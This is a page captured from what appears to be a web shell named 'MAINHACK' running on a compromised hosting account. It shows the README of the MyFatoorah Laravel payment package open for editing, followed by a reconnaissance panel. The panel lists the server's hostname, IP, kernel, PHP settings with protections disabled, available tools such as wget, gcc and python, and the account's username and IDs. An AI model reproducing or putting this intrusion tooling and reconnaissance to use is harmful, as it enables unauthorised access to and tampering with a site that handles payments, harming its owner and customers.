[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# MyFatoorah Laravel ## Description This is the official MyFatoorah Payment Gateway Laravel package. MyFatoorah Laravel is based on [myfatoorah/library](https://packagist.org/packages/myfatoorah/library) composer package. Both MyFatoorah Laravel and PHP library composer packages are developed by [MyFatoorah Technical Team](mailto:tech@myfatoorah.com) to handle myfatoorah API endpoints. ## Main Features * Create MyFatoorah invoices. * Check the MyFatoorah payment status for invoice/payment. * Display the enabled gateways at your MyFatoorah account to be displayed on the checkout page. ## Installation 1. Install the package via [myfatoorah/laravel-package](https://packagist.org/packages/myfatoorah/laravel-package) composer. ```bash composer require myfatoorah/laravel-package ``` 2. Publish the **MyFatoorah** provider using the following CLI command. ```bash php artisan vendor:publish --provider="MyFatoorah\LaravelPackage\MyFatoorahServiceProvider" --tag="myfatoorah" ``` 3. To test the payment cycle, type the below URL onto your browser. Replace only the `{example.com}` with your site domain. ``` https://{example.com}/myfatoorah ``` 4. Customize the **app/Http/Controllers/MyFatoorahController.php** file as per your site needs. 5. Optional: call the the below URL onto your browser. Replace only the `{example.com}` with your site domain to see how to draw the available gateways on checkoutpages ``` https://{example.com}/myfatoorah/checkout?oid=22 ``` <hr> ## Merchant Configurations Edit the **config/myfatoorah.php** file with your correct vendor data. **Demo configuration** 1. You can use the test API token key mentioned [here](https://myfatoorah.readme.io/docs/test-token). 2. Make sure the test mode is true. 3. You can use one of [the test cards](https://myfatoorah.readme.io/docs/test-cards). **Live Configuration** 1. You can use the live API token key mentioned [here](https://myfatoorah.readme.io/docs/live-token). 2. Make sure the test mode is false. 3. Make sure to set the country ISO code as mentioned in [this link](https://myfatoorah.readme.io/docs/iso-lookups).
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285